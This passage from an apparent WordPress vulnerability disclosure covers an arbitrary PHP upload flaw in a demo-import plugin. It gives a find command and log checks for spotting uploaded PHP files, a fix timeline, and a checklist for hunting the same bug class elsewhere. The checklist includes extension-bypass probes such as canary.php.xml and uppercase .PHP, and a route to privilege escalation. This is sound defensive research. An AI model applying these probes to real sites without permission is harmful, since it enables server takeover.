find wp-content/uploads -type f \( -name '*.php' -o -name '*.phar' -o -name '*.phtml' \)

Line by line:

  • find wp-content/uploads searches inside the uploads folder and everything below it.
  • -type f limits results to regular files, not folders.
  • \( ... \) groups the name conditions together.
  • -name '*.php' -o -name '*.phar' -o -name '*.phtml' matches any file whose name ends in one of those three extensions. -o means "or". .phtml is another extension some servers treat as PHP.

Also review access-log entries requesting a .php file directly under wp-content/uploads/, and admin-ajax.php requests carrying action=rrdi_import_demo_data that do not correspond to a demo import the team actually performed. An access log is the server's record of every request it received. Independently of this plugin, denying PHP execution inside the uploads directory neutralises this entire vulnerability class. It costs one directive and is among the highest-value hardening measures available to a WordPress operator. A directive is a single line of server configuration.

Timeline

  • 26 August 2026: defect identified; lab built; proof of concept confirmed against 1.3.4.
  • 26 August 2026: reported to VulnCheck for coordinated disclosure.
  • Early September 2026: vendor engaged; pre-release build supplied for verification.
  • 7 September 2026: fix verified with positive control; no bypass identified.
  • 9 September 2026: version 1.3.5 released; CVE-2026-26212 published.

Coordinated disclosure is the practice of telling the maker privately first and publishing only once a fix exists. Two weeks end to end, with a maintainer who engaged directly and shipped a fix addressing the underlying defect.

These are the same checks applied to other plugins and themes, in case the same mistake exists elsewhere.

  1. Grep for disabled upload validation. Grep is a command-line search tool. Search plugin and theme code for test_type set to false, or for wp_handle_upload calls whose overrides skip type checking. A positive result is a reachable AJAX or form handler that writes a request-controlled file into wp-content/uploads/ and returns a URL or path you can fetch.
  2. Check handler registration against UI gating. Look for wp_ajax_ registrations placed outside the guard that controls whether the settings screen renders. A positive result is an endpoint that answers with a valid nonce and capability even when the interface is absent under the current theme.
  3. Test under DISALLOW_FILE_MODS. Enable the constant and confirm that install_plugins, edit_plugins, install_themes, edit_themes and update_plugins are denied while upload_files and import remain allowed. A positive result is a payload that still executes, which turns an admin-only upload into a privilege escalation.
  4. Probe extension handling after sanitize_file_name(). Try a double extension such as canary.php.xml, a .phar, and an uppercase .PHP against any candidate sink. A positive result is any of them landing in uploads/ and being interpreted by PHP.
  5. Read the error message, then check the disk. Submit a file the importer cannot parse and see whether it reports failure. A positive result is an error response combined with the file still present in uploads/, which means the failure happened after the write.
  6. Always run a positive control during patch verification. After any set of rejections, replay the original request against the vulnerable version in the same environment and session. A positive result is the original payload executing again, which proves the rejections were caused by the fix and not by a broken test.

Glossary

  • Access log: the server's record of every request it received.
  • Administrator: the most powerful user role in WordPress, able to install plugins and themes and change settings.
  • AJAX: a technique where a web page talks to the server in the background without reloading.
  • Allowlist: a list of things that are permitted, where everything not listed is refused.
  • Apache: a widely used web server program.
  • Bypass: an attempt to get past a security fix by disguising a file or request.
  • Canary: a harmless test file that proves code executed without giving an attacker anything useful.
  • Capability check: WordPress asking whether the current user has a named permission, such as import.
  • CNA: the organisation authorised to assign CVE identifiers.
  • Compensating control: a second safety measure that catches what the first one missed.
  • Constant: a fixed named value set in a configuration file.
  • Cookie: a small piece of data a browser keeps and sends back with each request, often used to stay logged in.
  • Coordinated disclosure: telling the maker privately first and publishing only once a fix exists.
  • CSRF: cross-site request forgery, where a malicious page tricks a logged-in user's browser into sending a request the user did not intend.
  • CVE: a public catalogue number for a known security flaw.
  • CVSS: a scoring system that turns a vulnerability into a number so organisations can prioritise.
  • CWE-434: the label for the class of mistake where a site accepts an upload of a dangerous file type.
  • Diff: a side-by-side comparison of two versions of a file.
  • Directive: a single line of server configuration.
  • DISALLOW_FILE_MODS: a WordPress constant that stops administrators from installing or editing plugins and themes.
  • Endpoint: a specific address on a server that accepts requests and does something with them.
  • Grep: a command-line tool for searching text.
  • Hash: a short fingerprint of a file's contents, used to prove the file was not altered.
  • HTTP 200 / HTTP 403: status codes meaning "OK" and "forbidden".
  • Interpreted vs served: a .php file is interpreted when the server runs it and returns its output; it is served when the server sends its text to the browser.
  • Localised (in this context): passed from the server into the page's JavaScript so the browser can send it back later.
  • Maintainer: the person or team who looks after a plugin.
  • MariaDB: a database program; WordPress stores its content there.
  • MIME type: a label for a file's kind, such as text/xml or image/png.
  • mod_php: the Apache module that lets the web server run PHP files.
  • Multipart: the format browsers use to send files in a form.
  • Nonce: a one-time code that proves a request came from the site's own pages.
  • NVD: the US government's public database of vulnerabilities.
  • Payload: the file or code an attacker sends to achieve an effect.
  • PHP: a programming language designed for websites, run by the server.
  • Plugin: an add-on for WordPress that adds a feature.
  • Positive control: a test that proves the test setup can still detect the problem, so negative results mean something.
  • Privilege boundary: the line between what a user is allowed to do and what they are not.
  • Privilege escalation: gaining a capability a user is not supposed to have.
  • Proof of concept: a working demonstration that a vulnerability can be used.
  • RCE: remote code execution, running your own code on someone else's server.
  • Request-controlled: the visitor decides the contents.
  • Sink: the place in code where a dangerous action finally happens.
  • Site operator: whoever runs the website.
  • Stack: the set of programs a site runs on, such as web server, PHP and database.
  • UI: the user interface, the visible screens.
  • uid: the numeric identity a program runs under on Linux.
  • Unauthenticated: reachable without logging in.
  • Webshell: a small program that gives an attacker a permanent remote control panel on a server.
  • WordPress: a free system for building websites.
  • www-data: the conventional Linux user the web server runs as.
  • XML: a text format for structured data.

Similar reports

View all

Same bug class and techniques, clearest first.

Unrestricted file upload

The lesson behind this report.

An upload feature accepts a file that the server or other users' browsers then treat as code or as something trusted.